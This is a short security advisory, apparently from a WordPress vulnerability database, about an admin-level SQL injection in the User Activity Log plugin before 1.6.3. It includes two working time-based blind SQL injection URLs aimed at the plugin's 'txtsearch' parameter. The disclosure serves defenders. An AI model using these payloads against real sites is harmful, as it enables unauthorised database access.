WordPress Plugin Vulnerabilities
User Activity Log < 1.6.3 - Admin+ SQL Injection
Description
The plugin does not properly sanitise and escape the `txtsearch` parameter before using it in a SQL statement in some admin pages, leading to a SQL injection exploitable by high privilege users such as admin.
Proof of Concept
As an admin, visit either of the following URL's. Note that it takes several seconds for the page to load, which illustrates the SQL Injection vulnerability. /wp-admin/admin.php?page=general_settings_menu&display=users&txtsearch=%27+AND+%28SELECT+1+FROM+%28SELECT%28SLEEP%281%29%29%29x%29+AND+%27x%27%3D%27 /wp-admin/admin.php?page=user_action_log&txtsearch=%27+AND+%28SELECT+1+FROM+%28SELECT%28SLEEP%281%29%29%29x%29+AND+%27x%27%3D%27
